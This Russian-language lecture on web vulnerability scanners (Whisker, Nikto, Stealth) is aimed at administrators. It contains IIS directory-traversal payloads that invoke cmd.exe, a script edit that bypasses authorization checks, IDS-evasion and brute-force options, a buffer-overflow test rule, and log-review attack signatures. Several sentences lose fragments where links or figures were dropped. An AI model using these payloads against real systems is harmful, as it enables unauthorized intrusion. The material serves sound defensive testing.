Инструментальные средства обеспечения безопасности

Средства взлома Web-приложений Hacking Tools

Разбить на страницы
Показывать лекцию целиком

Систему безопасности Web-сервера можно разделить на две основных категории: тестирование сервера на предмет общей уязвимости и тестирование web-приложения. Web-сервер должен быть сконфигурирован в соответствии с этим списком до того, как он будет открыт для использования через интернет.

  • Безопасность конфигурации сети. Брандмауэр или другое устройство должны ограничивать входящий трафик необходимыми портами (возможно, только 80 и 443).
  • Безопасность конфигурации хоста. Операционная система должна содержать все выпущенные на текущий момент заплатки в области обеспечения безопасности, должна быть включена система аудита, только администратор может иметь доступ к системе.
  • Безопасность конфигурации Web-сервера. Должны быть проанализированы установки Web-сервера по умолчанию, файлы примеров должны быть удалены и сервер должен быть запущен с ограниченными пользовательскими полномочиями.
  • Конечно, этот короткий список не может охватить особенности конфигурации связки Apache/PHP или детали каждой из рекомендованных настроек Internet Information Server (IIS), но он может послужить основой для создания жесткой политики компоновки Web-сервера. Для проверки стратегии компоновки следует также использовать сканер уязвимости.

    Сканеры уязвимости Vulnerability Scanners

    У Web-серверов - Apache, iPlanet и IIS - много версий и добавлений для обеспечения безопасности. Обычно у сканера уязвимости есть сканирующий аппарат и каталог. Каталог содержит список общих файлов, файлов с описанием известных уязвимостей и наиболее распространенных способов взлома набора серверов. Например, сканер уязвимости ищет резервные файлы (переименованные из default.asp в default.asp.bak) и пытается осуществить взлом, обходя дерево директорий (вроде проверки ..%255c..%255c). Сканирующий аппарат поддерживает логику для чтения каталога методов взлома, посылает запрос Web-серверу и интерпретирует ответ для определения возможных уязвимостей сервера. Эти утилиты направлены на уязвимости, которые легко зафиксировать с использованием конфигурирования системы безопасности хоста, использования заплаток для системы безопасности и очистки корневой директории Web-сервера.

    Whisker

    Whisker - не самый древний из сканеров уязвимости CGI-интерфейса ( common gateway interface ). Тем не менее, эта программа была первым средством для совместного использования приемов проверки общей уязвимости, интеллектуального сканирования, которое реагирует на ответные HTTP-коды, и уклонения от систем обнаружения вторжений ( IDS ). Преимущества этой программы в том, что она написана в виде простых (правда, не всегда понятных) Perl-скриптов. При необходимости это позволяет отредактировать программу в простом текстовом редакторе для изменения имен пользователей, паролей и уязвимых CGI-скриптов.

    Реализация

    В списке уязвимостей программы whisker, возможно, что-то устарело, но он также включает проверки для директорий, которые никогда не исчезнут. Проверки /backup/ или /log/ директорий и текстовых файлов sam.txt никогда не устареют. Чтобы запустить whisker для одного хоста или IP-адреса, воспользуйтесь параметром -h. Параметр -H (обратите внимание на регистр) дает возможность задать файл, который содержит список IP-адресов или имен хостов. Также неплохая идея всегда использовать параметр -w для записи результатов каждой проверки, выполненной сканером. Параметр -W выводит все в HTML-формате. Это может выглядеть как ненужные бантики, но в то же время удобно, и демонстрация возможностей заставит притихнуть противников. Базовый вид командной строки whisker выглядит примерно так.

    $ whisker.pl -h 192.168.42.27 -w
    - whisker / v1.4.0+SSL / rain forest puppy / www.wiretrip.net -
    -( Bonus: Parallel support )
    - Loaded script database of 2045 lines
    = - = - = - = - = - =
    = Host: 192.168.42.27
    - Cookie: PREF=ID=28bd8b28723a3f00:TM=1014183574:
      LM=1014183574:S=iaEPbCBRdvA
    = Server: IIS/5.0
    + 200 OK: GET /robots.txt

    Мы пропустили параметр -W, чтобы сделать вывод лучше читаемым на бумаге. После запуска whisker начинает выводить информацию на экран ( stdout в Unix-терминах). Не потеряйте результаты сканирования; вы можете сохранить их в файл. Параметр командной строки -l с именем файла после него, но мы редко это используем. Вместо этого воспользуйтесь преимуществами командной строки Unix.

    $ whisker.pl -h 192.168.42.27 -w -W | tee whisker80_192.168.42.27.html.raw
    Совет. Команда Unix tee позволяет перенаправить вывод одновременно в файл и на экран. Это позволяет наблюдать за работой программы в режиме реального времени и сохранить информацию. Это понятнее, чем запуск процесса в фоновом режиме, и понятнее, чем использование команды tail -f.

    Понятные имена файлов позволят быстро просмотреть директории и визуально определить положение специфических файлов. Число 80 означает номер сканируемого порта - в данном случае, это значение по умолчанию. Другой номер порта может быть задан с помощью параметра -p.

    Перед тем как начать изменять командную строку для проверки нестандартных Web-сайтов, сосредоточимся на анализе вывода для поиска уязвимых мест. Ниже мы добавили строку .html.raw к нашему выходному файлу, поскольку файл содержит все ответы Web-сервера, включая каждое сообщение "404 Not Found", которое нам не требуется. Ниже приведен пример удаления этих строк.

    $ grep -v 404 whisker80_server.html.raw whisker80_server.html

    Другими кандидатами на удаление могут быть строки, содержащие числа 400 (bad request), 401 (unauthorized) и 403 (forbidden). Однако нам интересно проанализировать 400 и 401 ошибки. 400 ошибка должна встречаться редко, пока программа просматривает обычные файлы с обычными расширениями. 401 ошибка означает, что файл существует (возможно), но нам необходимо использовать правильное имя пользователя и пароль для доступа к ним - два вывода, которые может сделать для нас программа whisker. 403 ошибка обозначает файлы или директории, к которым нет доступа, поскольку для доступа к ним требуются другие полномочия. Итак, для удаления только 403 и 404 ошибок воспользуемся следующей командой.

    $ grep -v 40\[34\] whisker80_server.html.raw whisker80_server.html

    Если вы разбираетесь в регулярных выражениях, то можете понять, как в соответствии со следующей командой удаляются все предыдущие четырехсотые коды ошибок.

    $ grep -v 40\[0134\] whisker80_server.html.raw whisker80_server.html

    Помните, что если даже сканером анализируется только возврат HTTP-кода 200 для любого уязвимого файла, любая информация может быть полезна. Если запрос к директории /.old/ возвращает код возврата 401, то мы знаем, что директория существует. Возможно, мы сможем получить доступ к ее содержимому другими способами.

    Другой фокус заставляет whisker продолжать сканирование сайта, даже если стартовая страница требует аутентификации. Иногда администратор может применить управление доступом к директории верхнего уровня, например /admin/ - но может забыть о доступе к директориям или файлам более низкого уровня, таким как /admin/Docs/default.cfg. Таким образом, можно использовать силовой прием для изменения строки в скрипте whisker.pl. Исходная строка и ее новый вид представлены ниже.

    if($D{'XXAuth'} ne ""){
        wprint("- Server demands authorization.");
        wprint("- We don't have a login, so skipping host...\n");
        $D{'XXServerInject'}="exit";}

    Приравняйте переменную $D{'XXServerInject'} к чему-либо кроме exit. Это заставит whisker проигнорировать тот факт, что он не имеет должных полномочий для тестируемого сайта.

    if($D{'XXAuth'} ne ""){
        wprint("- Server demands authorization.");
        wprint("- We don't have a login, so skipping host...\n");
        $D{'XXServerInject'}="foo";}

    Сервер может вернуть 401 ошибку или одну из трехсотых (30х) для перенаправления каждого запроса на страницу авторизации, но это будет не так в тех немногих случаях, когда список контроля доступа использован неправильно. В других случаях, вы всегда можете использовать grep для удаления сообщений об ошибках.

    Исходная версия whisker (1.4) не поддерживает протокол SSL (Secure Sockets Layer). В этом нет ничего страшного, поскольку вы можете установить OpenSSL прокси-сервер (см. раздел " OpenSSL " далее в этой лекции). Но прокси не слишком подходящий вариант, если сканируется

    более чем один IP-адрес одновременно. Поэтому H. D. Moore модифицировал программу для поддержки Perl SSL-функций.

    Примечание. Модуль . Инструкция по инсталляции достаточно проста. Обычная последовательность команд perl Makefile.PL, make, make test и make install для любого модуля. Модуль Net::SSLeay требует работающего пакета OpenSSL. В Unix и Cygwin это делается просто.

    Для запуска whisker с поддержкой SSL необходимо использовать параметр -x. По умолчанию будет установлен порт 443, но он может быть изменен с помощью параметра -p.

    $ whisker.pl -x -h 192.168.42.27 -w -W | 
       tee whisker443_192.168.42.27.html.raw

    Или для получения реальных преимуществ от использования параметра -x можно запустить программу со списком хостов.

    $ whisker.pl -x -H hosts_ssl.txt -w -W | tee whisker443_hosts_ssl.html.raw

    Если вы просмотрели все исходные коды whisker, то вы знаете, что он всегда выполняется как CGI-модуль Web-сервера. Настройте Web-сервер, переименуйте в whisker.cgi и поместите программу в директорию /cgi-bin/ сервера. По умолчанию этот модуль ограничивает функциональность программы сканированием только одного хоста, заданием одного порта и принудительного задания типа удаленного сервера. Но если вы разбираетесь в исходном коде, вы сможете привести CGI-версию в нормальное состояние.

    Работа с ненадежными Web-сайтами. Whisker - не самое лучшее средство, поскольку он сканирует конкретные порты в соответствии с конкретным списком уязвимых CGI-скриптов. Это великолепное средство, поскольку оно обладает достаточной гибкостью. Whisker предлагает набор параметров командной строки, которые в состоянии ввести в заблуждение простые средства обеспечения безопасности.

    Наиболее простое средство обеспечения безопасности, и наиболее часто употребляемое начинающими разработчиками скриптов - переименование идентификационной строки Web-сервера. Как администратор, вы никогда не должны полагаться на непонятный прием обеспечения безопасности на вашем IIS 5.0, который представляется как Apache 1.3.22. Однако некоторые утилиты - whisker входит в их число - не могут запустить специальные тесты для IIS, если он определяется как Apache.

    Whisker предоставляет возможность принудительно установить тип удаленного сервера с использованием параметра -S (заглавная).

    $ whisker.pl -h 192.168.42.27 -w -W -S "IIS/5.0"

    Этот параметр принудительно заставляет программу выполнять специфические для IIS тесты в соответствии со своей базой данных, несмотря на информацию, передаваемую в HTTP-заголовках.

    Мы надеемся, вы разбираетесь в Perl, поскольку редактирование скрипта может сделать свойства параметра -S еще лучше. После этих двух строк

    $D{'XXUserAgent'} = "Mozilla/5.0 [en] (Win95; U)";
    $D{'XXForce'}=1 if defined($args{f});

    добавьте новую строку, чтобы быть уверенным, что whisker считывает тип сервера, заданный в командной строке. Переменная XXForceS используется в логике сканирования, когда определяется, какие файлы использовать для тестирования.

    $D{'XXForceS'}=1 if defined($args{S});

    Другое препятствие для любого сканера уязвимостей состоит в работе с сайтами, которые требуют аутентификации. Базовая HTTP-аутентификация очень проста в реализации. Имя пользователя и пароль кодируются в коде base 64, не шифруясь каким-либо надежным алгоритмом. Вдобавок к этому, аутентификационные полномочия передаются в заголовочной информации, передаваемой клиентом (это может быть Web-броузер или аппарат сканирования уязвимостей). Для всех сайтов, которые требуют базовой аутентификации, используйте параметр -a для задания правильных полномочий. Имя пользователя и пароль разделяются двоеточием.

    $ whisker.pl -h 192.168.42.27 -w -W -a "grauf:penguin"

    Whisker может обеспечить лобовую атаку с целью подбора правильного имени пользователя и пароля. К сожалению, это не самый лучший довод в пользу приобретения рекламируемого товара. Он не может поддерживать аутентификацию, основанную на формах. Сайт может сбить с толку алгоритм подбора пароля, если вернет в ответ нечто, отличающееся от HTTP 401-кода, в случае, если комбинация имя пользователя/пароль неправильная.

    Если вы желаете проверить вашу IDS-систему на надежность контроля Web-уязвимостей, то набор параметров -I для вас. Каждый из параметров генерирует URL-запрос, который изменяется разными способами с целью ввести в заблуждение IDS-сигнатуры. Для тестирования IDS выполните каждую из 10 проверок (от 0 до 9) по отношению к серверу из вашей сети.

    $ whisker.pl -h 192.168.42.27 -w -W -I3

    Наилучшая защита от пассивного мониторинга - это шифрование. Для IDS весьма сложно отслеживать трафик поверх SSL. С другой стороны, легко запустить whisker поверх SSL и исследовать любые уязвимости.

    Пример из жизни. Самообновление Scan.ab

    Whisker -архив поставляется с четырьмя сканерами баз данных: brute.db, dumb.db, scan.db и server.db.

    Каждый сканер баз данных содержит список универсальных директорий, универсальных файлов и уязвимых сценариев CGI, которые whisker обычно сканирует. Эти базы данных несколько устарели и поэтому не покрывают более новые способы взломов. В них также не хватает проверок, настроенных на ваши собственные Web-серверы.

    Простейшая запись описывает корневую директорию или директории и специфические имена файлов для проверки. Например, правило в scan.db, которое проверяет на /robots.txt, занимает одну строку:

    scan () / >> robots.txt

    Эта строка фактически заблокирована (или превращена в комментарий) по умолчанию. Чтобы ее активизировать, удалите символ ( # ) из начала строки, что мы и сделали. Следующая таблица описывает компоненты каждого правила сканирования.

    Правило Описание
    scan Тип правила scan указывает, что эта строка содержит инструкции для специфической проверки.
    ([server type]) Используйте круглые скобки, чтобы ограничить проверку одним типом Web-сервера. Например, правило с (iis) запускается только, если whisker идентифицирует целевой сервер, как некоторую версию Microsoft IIS. Обратитесь к файлу server.db за полным списком возможных целей. Если оставить это поле пустым, то это будет применимо ко всем Web-серверам.
    / Это базовая директория, в которой следует искать целевой файл. Это может быть разделенный запятыми список, т.е. /, /cgi-bin, /en/cgi-bin. Вы также можете использовать заранее определенные массивы в этом поле, такие как @array или @cgis. Служит разделителем между директорией и файлами для проверки.
    Robots.txt Имя файла для проверки. Используйте разделенный запятыми список в этом поле, чтобы задать несколько файлов для конкретной директории: т.е. db.inc, dbase.inc, database.inc.

    Одно из основных преимуществ этих правил состоит в том, что whisker сам себя оптимизирует во время сканирования сервера. Например, если мы хотим проверить присутствие трех обычных файлов JavaScript в определенной директории, то правило должно выглядеть следующим образом.

    scan (iis) /library >> global.js, local.js, toolbar.js

    Whisker проверяет наличие директории /library до начала сканирования и наличие любых файлов *.js в этой директории. Если такой директории нет (имеется в виду, что запрос /library вернул ошибку 404), то он не будет проверять наличие этих трех файлов. Это мелочь, но чрезвычайно полезная, оптимизирующая скорость.

    Определение массивов директорий. Во многих случаях, единственный файл может быть найден в одной из нескольких директорий. Например, обычная директория /cgi-bin может быть переименована несколькими способами. Массив должен быть объявлен до того, как правило сканирования его вызовет. Тогда используйте символ @, чтобы обратиться к массиву.

    array cgis = cgi-bin, cgi, cgi-old, bin
    scan () @cgis shopping.pl
    clear @cgis

    Команда clear удаляет массив из памяти. На самом деле, это не обязательно, но ваш старый профессор по компьютерным наукам одобрил бы такую чистоту.

    Массив может, в свою очередь, содержать массив. Вот пример.

    array common = include, library, scripts, tools
    array admin = adm, admin, manage, manager, secure, @common

    Массив администратора содержит 5 новых директорий, и каждая из этих директорий в общем массиве. Это помогает классифицировать директории в определенные типы, чтобы сделать сканирование более полным.

    Соответствующий пример добавляет проверки на уязвимость прохождения директорий IIS Unicode и Superfluous Decode. Сначала мы определим массив, который содержит наиболее обычные директории по умолчанию, найденные на сервере IIS.

    array iisdirs = admin, certadm, certcontrol, certenroll, certque,
        certsvr, cgi-bin, exchange, help, iisadmin, iisadmpwd, iishelp,
        iissamples, images, info, _mem_bin, msadc, pbserver, rpc, 
        scripts, _vti_bin

    Затем определим правила сканирования для проверки (это правило должно быть в одной строке).

    scan () @iisdirs 
    ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwinnt/system32/
        cmd.exe?/c+dir,
    ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwinnt/system32/
       ipconfig.exe?/all+dir,
    ..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir,
    ..%255c..%255c..%255c..%255c..%255cwinnt/system32/ipconfig.exe?/
        all+dir, cmd.exe, root.exe

    %c0%af и %255c - это только две из многих возможных строк прохождения директорий, но они работают. Также это правило проверяет на предмет листингов директорий из бинарного cmd.exe. Некоторые администраторы запрещают доступ к этому файлу, чтобы предотвратить такую атаку; однако ipconfig.exe - это тоже законная добыча. Две последние проверки на предмет cmd.exe и root.exe имели целью найти обломки предыдущих атак хакеров или вирусов. Это правило сканирования может быть добавлено к оригинальному scan.db whisker или помещено в свой собственный файл *.db.

    Чтобы использовать альтернативный файл *.db, укажите опцию -s в командной строке.

    $ whisker.pl -h 192.168.42.27 -w -W -s unicode.db

    Обычные директории и файлы. Польза от whisker не ограничивается сканированием известных уязвимостей. Он также великолепно находит "скрытые" URL, резервные файлы и управляющие интерфейсы. Файл scan.db whisker уже содержит достаточное количество обычных файлов и директорий. Однако вы должны расширить файл *.db за счет структуры директорий, которую вы узнали "в поле". Например, многие Web-сайты написаны так, что допускают языковую настройку. Такие файлы должны специально приписывать /en к части файлов URL, что влияет на способность whisker сканировать обычные сценарии CGI и файлы. Whisker может искать /index.html.bak, но не может найти /en/index.html.bak. Поэтому правила сканирования должны быть модифицированы, чтобы исправить это.

    Здесь вместо поиска файлов *.inc и *.js в обычных директориях, специфицированных массивом, whisker специально приписывает указание на язык и сканирует на /en/inc/database.inc и т.д.

    array common = inc, include, lib, library, tool, tools
    scan (iis) en/@common database.inc, global.inc, local.inc, 
      toolbar.js

    Nikto

    Прежде чем развиваться в качестве самостоятельной утилиты, whisker был создан, чтобы пополнить Perl-библиотеку средств сканирования. Nikto основывается на новом поколении LibWhisker-библиотеки. С самого начала программа поддерживает сканирование портов с поддержкой SSL и прокси.

    Реализация

    Основанный на Perl, . Для работы также требуется LibWhisker (LW.pm).

    LibWhisker. Полнофункциональная копия . Инсталляция очень проста. После разархивирования войдите в директории и соберите библиотеку. Как только сборка закончится, установите LW.pm в вашу Perl-директорию. Выполните следующую последовательность команд.

    $ cd libwhisker-1.3
    $ perl Makefile.pl lib
    $ perl Makefile.pl install

    LibWhisker может показаться немного избыточным, поскольку он включает в себя функциональность нескольких, уже существующих Perl-модулей, таких как LWP, Base64 и HTML::Parser. Преимущества LibWhisker в том, что это "тощая" (минимальный размер файла по сравнению с модулями, функциональность которых он заменяет), простая (один модуль), специализированная (поддерживает только HTTP- и HTTPS-запросы) и живучая (обеспечивает единый интерфейс для поддержки запросов и приема ответов) утилита. Кроме того, она понятнее, чем оригинальная программа whisker!

    Сканирование. Основные параметры командной строки nikto отличаются от команд whisker, поэтому вам придется осваивать новые параметры. Сравните командную строку whisker с аналогичной командной строкой nikto.

    $ whisker.pl -h 192.168.42.27 -w -W | \
    > tee whisker80_192.168.42.27.html.raw
    $ nikto.pl -host 192.168.42.27 -verbose -web -output \
    > nikto80_192.168.42.27.html.raw

    Выходная информация Nikto содержит указания на то, почему поиск может угрожать безопасности.

    Target IP: 192.168.42.27
    Target Hostname: www.victim.com
    Target Port: 80
    ----------------------------------------------------
    o   Scan is dependent on "Server" string which can be faked, use -g to override
    o   Server: WebSTAR/4.2 (Unix) mod_ssl/2.8.6 OpenSSL/0.9.6c
    o   Allowed HTTP Methods: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS,
        PATCH, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, TRACE
    o   Server allows PUT method, may be able to store files.
    o   CONNECT method is enabled, server may act as a proxy or relays.
    o   Server allows DELETE method, may be able to remove files.
    o   Server allows PROPFIND or PROPPATCH methods, which indicates DAV/WebDAV is
        installed. Both allow remote admin and have had security problems.
    o   WebSTAR/4.2(Unix)mod_ssl/2.8.6OpenSSL/0.9.6c appears to be outdated
        (current is at least mod_ssl/2.8.7) (may depend on server version)
    o   /public/ Redirects to 'http://www.foundstone.com/public', this might be
        interesting...
    o   robots.txt - This file tells web spiders where they can and cannot go (if they follow
        RFCs). You may find interesting directories listed here. (GET)
    o   cgi-bin/htsearch?-c/nonexistant - The ht::/Dig install may let an attacker force  
        ht::/Dig to read arbitrary config files for itself.
        (GET)
    885 items checked on remote host

    В таблице 8.1 перечислены основные параметры, необходимые для запуска утилиты nikto. Наиболее важные параметры устанавливают тестируемый хост, порт и выходной файл. Nikto воспринимает первый символ имени параметра как синоним. Например, вы можете ввести -s или -ssl, чтобы использовать протокол HTTPS, или вы можете задать -w или -web для получения выходной информации в формате HTML.

    Параметры командной строки Nikto и их эквиваленты в Whisker
    Nikto Whisker Описание
    -host -h Задает один хост. nikto не принимает файлы с именами хостов, так как это делает опция -H в whisker.
    -port -p Задает произвольный порт.
    -verbose -v, -w Обеспечивает подробный отчет. Это единственная опция, которую не представляют аббревиатурой (-v зарезервирована для опции виртуального хоста).
    -ssl -x Активизирует поддержку SSL. nikto не предполагает HTTPS, если вы специфицировали целевой порт 443.
    -generic -S Указывает nikto игнорировать заголовок сервера и запускать сканирование всей базы данных. В отличие от опции whisker -S, вы не даете строки альтернативного заголовка после опции.
    -web -W Выводить отчет в HTML.
    -output -l Заносить протокол в файл. Например, -output nikto80_www.victim.com.html.
    -id -a Поддержка полномочий базовой идентификации HTTP. Например, -id username:password.
    -vhost -V Использовать виртуальный хост для целевого Web-сервера вместо IP-адреса.
    -evasion -I Техника обхода IDS. nikto использует 9 различных техник, чтобы форматировать запрос URL и ускользнуть от обнаружения в IDS.

    Следует помнить несколько основных положений в работе с утилитой nikto: задавайте хост ( -h ), порт ( -p ), SSL ( -s ) и имя выходного файла. Дополнительные параметры подробно описаны в таблице 8.2. По большей части эти параметры охватывают возможности большинства утилит для сканирования.

    Дополнительные параметры командной строки Nikto
    Опция Описание
    -allcgi Сканирует все возможные директории CGI. Не обращает внимания на ошибки 404, которые nikto получает для базовой директории. Подробности см. в разделе "Config.txt".
    -mutate Видоизмененные проверки описываются в "Config.txt".
    -findports Сканирует целевой сервер. Это сканирование использует nmap или внутренние сокеты на базе Perl.
    -nolookup Не определяет имена хостов по IP-адресу.
    -timeout N Останавливает сканирование, если не получает данных в течение N секунд. По умолчанию - 10.
    -update Обновляет модули nikto и выясняет существование новых версий.

    Параметр -update упрощает процедуру сопровождения утилиты nikto. Этот параметр заставляет программу соединиться с хостом www.cirt.net и загрузить дополнительные модули для поддержания листа сканирования в текущем состоянии.

    $ ./nikto.pl -update
    ----------------------------------
    - Nikto v1.100BETA_2 - www.cirt.net -
    + Retrieving 'scan_database.db'
    www.cirt.net message: Send comments on Nikto to cirt.net so it can be
    a better product.

    Config.txt. Nikto использует настроечный файл config.txt для установки отдельных, наименее часто используемых параметров, или наоборот, наиболее часто используемых в процессе сканирования. Этот файл включает дюжину настроек. Параметр может быть закомментирован с помощью символа #. Ниже приведены настройки по умолчанию:

    CGIDIRS=/bin/ /cgi/ /mpcgi/ /cgi-bin/ /cgi-sys/ /cgi-local/ /htbin/
     /cgibin/ /cgis/ /scripts/ /cgi-win/ /fcgi-bin/
    #CLIOPTS=-g -a
    #NMAP=/usr/bin/nmap
    SKIPPORTS=21 111
    #PROXYHOST=10.1.1.1
    #PROXYPORT=8080
    #PROXYUSER=proxyuserid
    #PROXYPASS=proxypassword
    DEFAULTHTTPVER=1.1
    #PLUGINDIR=/usr/local/nikto/plugins
    MUTATEDIRS=/....../ /members/ /porn/ /restricted/ /xxx/
    MUTATEFILES=xxx.htm xxx.html porn.htm porn.html

    Строка CGIDIRS содержит список директорий, разделенный пробелом. Nikto пытается определить наличие каждой из директорий перед началом ее просмотра. Соответственно, параметр -allcgi отменяет такой порядок работы.

    Строка CLIOPTS содержит параметры командной строки, которые будут использоваться при каждом запуске nikto. Этот прием обычно используется для сокращения командной строки. В файл включаются параметры -generic, -verbose и -web.

    Строки NMAP и SKIPPORTS управляют политикой сканирования портов ( -findports ). Если не поддерживается выполнение исходного модуля nmap (что обычно для Windows-систем), nikto использует для сканирования портов Perl-функции. Строка SKIPPORTS содержит список портов, которые никогда не сканируются.

    Используйте строку PROXY* для включения поддержки прокси.

    Также довольно редко возникает необходимость изменять строку DEFAULTHTTPVER. Вы можете поискать серверы, использующие только версию 1.0.

    Строка PLUGINDIR определяет директорию для размещения определяемых пользователем модулей (аналоги файлов scan.db в whisker ). По умолчанию nikto осуществляет поиск в директории /plugins, размещаемой в директории, откуда программа запускается.

    Строки MUTATE* существенно увеличивают время, которое требуется для сканирования сервера с параметром mutate. Инструкция MUTATEDIRS устанавливает, что проверка каждой директории должна начинаться от корня или от перечисленных ниже директорий. Этот прием обычно используется для Web-сайтов, которые используют интернационализацию, вследствие чего директория /scripts заменяется на директорию /1033/scripts. Инструкция MUTATEFILES определяет необходимость сканировать каждый файл в приведенном списке директорий.

    Пример из жизни. Обнаружение попыток вторжения

    Как администратор, вы, должно быть, сканируете свои Web-серверы на уязвимость. Это часть вашей рутинной работы. Всегда лучше обнаружить собственные уязвимости до того, как это сделает кто-либо другой. С другой стороны, откуда вы можете знать, что кто-то использует эти средства против вас? Конечно, может помочь IDS, но у IDS есть несколько недостатков: они не могут справиться с высоким диапазоном частот, полагаются на свойство сопоставления с образцом, не могут (в большинстве) видеть закодированные потоки SSL. Кроме того, они дороги. Ответ в данном случае - обратитесь к своим файлам протоколов (logfiles). Вы же включили журнализацию на своем Web-сервере, не так ли?

    Общие автографы. Файлы протоколов (Logfiles) - это средство безопасности. Они реакционны, а это означает, что если вы увидите автограф взлома в своем файле, то знаете, что вы уже атакованы. Если атака подвергла сервер риску, протоколы Web будут первым местом, куда следует обратиться, чтобы воссоздать события. Протоколы также помогают администраторам и программистам проследить ошибки и поврежденные страницы на Web-сайте - это необходимо для поддержания стабильности Web-сервера. Помня об этом, вы должны практиковать регистрацию на Web-сервере и сбор файлов протоколов (logfiles), просматривать их и архивировать.

    В следующей таблице перечисляются некоторые позиции, на которые следует обращать внимание при проведении обзора протоколов. Многие из этих проверок могут быть автоматизированы при помощи такого простого средства, как grep.

    Excessive 404s Избыток ошибок 404. Ошибка 404 в вашем файле протокола обычно означает одно из трех: опечатка или ошибка на странице сайта, пользователь неправильно набрал URI, или зловредный пользователь ищет "старушек". Если вы видите несколько запросов от IP-адреса, что привело к последовательности ошибок 404, проверьте свои остальные протоколы на этот IP-адрес. Вы можете обнаружить успешный запрос (ответ 200) где-то еще, что свидетельствует о вражеской активности.
    Unused file extensions Неиспользованные расширения файлов. Это подмножество избытка ошибок 404, но является хорошим индикатором автоматизированного средства. Если ваш сайт использует только файлы *.jsp, то запросы на файлы *.asp будут не к месту.
    Excessive 500s Избыток ошибок 500. Любая ошибка сервера должна проверяться. Это может означать, что в приложении есть ошибки, или зловредный пользователь пытается запустить ошибочные данные на сервер.
    Sensitive filenames Чувствительные имена файлов. Поиск в протоколах запросов, которые содержат passwd, cmd.exe, boot.ini, ipconfig или другие имена системных файлов и команд. IDS часто отключают эти значения.
    Examine parameters Проверочные параметры. Атаки на Web-сервер часто прячутся внутри запросов, которые возвращают ответ 200. Убедитесь, что ваш Web-сервер регистрирует параметры, которые прошли на URI.
    Directory traversal Прохождение директорий. Поиск атак, которые пытаются разрушить такие директории, как :, .., или %2e%2e.
    Long strings Длинные последовательности. Ищите длинные последовательности (более 100 знаков), запущенные как параметр. Например, имя пользователя, содержащее 200 символов A, вероятно означает, что кто-то пытается взломать приложение.
    Shell characters Признаки работы командного процессора. Ищите символы, которые имеют специальное значение в командных процессорах или SQL. Обычные символы: ' ! | < > * ;

    Помните, что IIS записывает URL в конечном разобранном формате. Например, атака на прохождение директории Unicode появляется как /scripts/..A..A..Acmd .exe?/c+dir, где файл протокола Apache захватывает необработанный запрос /scripts/ ..%c0%af..%c0%af..%c0%afcmd.exe?/c+dir?. При регистрации IIS убедитесь, что опции для записи uri-stem и uri-query выключены.

    Stealth

    Эта программа работает под Windows с графическим интерфейсом пользователя, и поэтому не обладает, в отличие от whisker возможностями кросс-платформенного использования. Stealth располагает большим количеством тестов и имеет легко расширяемую базу данных. В настоящее время в базе данных программы находится около 13000 тестов, правда, только 5000 из них являются уникальными. Эти тесты были получены в результате сканирования большого количества устройств, имеющих встроенные Web-серверы, обладающих наиболее распространенными типами уязвимостей, свойственных IIS.

    Реализация

    На рис 8.1 приведен вид интерфейса для сканирования одного IP-адреса. По умолчанию Stealth использует "нормальное" правило сканирования, которое содержит около 6500 тестов. Эта страница открывается с помощью кнопки Scanner в окне приложения Stealth.

    Примечание. Stealth также располагает параметрами для изменения номера порта (по умолчанию 80), при этом SSL-соединение не поддерживается. Задать номер порта 443 недостаточно.

    , для этого должен быть задан список последовательных IP-адресов. Это существенно замедляет сканирование, поскольку программа сначала должна определить Web-сервер, а затем осуществлять его сканирование. Если серверы распределены по сети, то это еще сильнее замедляет процесс.

    (рис 8.2) Сканер Stealth по умолчанию против цели(рис 8.1) Stealth сканирует список IP-адресов

    Еще немного о сканировании нескольких Web-серверов: программа постоянно фиксирует ошибки, выдает сообщения об ошибках, требующих, чтобы их закрывали вручную. Короче, Stealth - не лучшее средство для сканирования многих серверов одновременно.

    Кнопка IDS Test работает аналогично технике обхода IDS у показано, как включить обход IDS.

    Как только Stealth завершит сканирование, он выдаст запрос на сохранение результатов. Результаты сканирования представляют собой HTML-файл, в котором перечислены все возможные уязвимости, которые были найдены. Stealth - быстрое и простое средство, которое позволяет выполнить 6500 тестов для Web-сервера одновременно.

    (рис 8.3) Обход IDS

    Создание новых правил

    Конструирование правил для Stealth весьма просто. Вы задаете URL, метод запроса и ожидаемый HTTP-код возврата. Например, для поиска резервной копии index.html файла вам следует создать файл со следующим содержимым.

    #INF Backup index.html file
    #GET /index.html.bak #200

    Вместо метода #GET также может быть #HEAD или #POST. Код возврата #200 может быть заменен любым кодом возврата HTTP. Stealth не поддерживает пользовательские массивы, поэтому файлы внутри набора директорий должны быть перечислены отдельно. Параметры #GET и #200 подразумеваются по умолчанию и потому могут быть опущены. Как видно, базовый тест Stealth для URL не так развит как у whisker. У Stealth есть средство для упрощения разработки тестов на уязвимость - Stealth Exploit Development Tool.

    показаны настройки для нашего простого теста для файла index.html.bak.

    (рис 8.4) Настройка теста уязвимости

    На закладке Options вы можете задать строку, которая будет показывать возврат ложного ответа или определять User-Agent. Некоторые Web-приложения используют заголовок User-Agent, чтобы принять решение о том, может ли броузер получить доступ к сайту. Некоторые броузеры не поддерживают JavaScript, ActiveX или Java, и это может послужить отказом в доступе к сайту. На рис 8.5 показан этот параметр.

    (рис 8.5) Параметры для теста уязвимости

    Другой классный прием, используемый в Stealth - это тест на переполнение буфера. Атака на переполнение буфера может быть применена против любого адреса, по которому Web-приложение требует списка параметров. Правило для проверки на переполнение буфера содержит четыре составляющих.

  • bofgen. URL, введенный в двойных кавычках.
  • bofstr. Строка, используемая для атаки.
  • bytes. Количество повторений символа, используемого для переполнения буфера.
  • chars. Символ для заполнения буфера.
  • Ниже приведено правило для проверки условий переполнения буфера в строке авторизации ввода Web-приложения.

    #INF Login.asp buffer overflow check
    "bofgen=/login.asp?user=%bofstrpasswd=none","bytes=999","chars=A"

    В HTTP-запросе, который посылает Stealth, строка %bofstr меняется на 999 символов A.

    Как только описание метода взлома создано, вам остается указать показан пример теста, называемого Sourcedis, который обычно не используется.

    (рис 8.6) Добавление новых тестов

    Пресечение уклонения Pitfalls to Avoid

    Как уже упоминалось, возможности Stealth по автоматическому сканированию набора Web-серверов ограничены. Stealth время от времени генерирует ошибки DNS, которые обычно случаются в процессе сканирования сервера с виртуальными хостами или когда сканируется сервер с несколькими IP-адресами (как в случае со многими большими, сильно загруженными сайтами). Ошибка DNS безобидна, но ее появление требует, чтобы вы закрыли окно сообщения, которое генерирует Stealth.

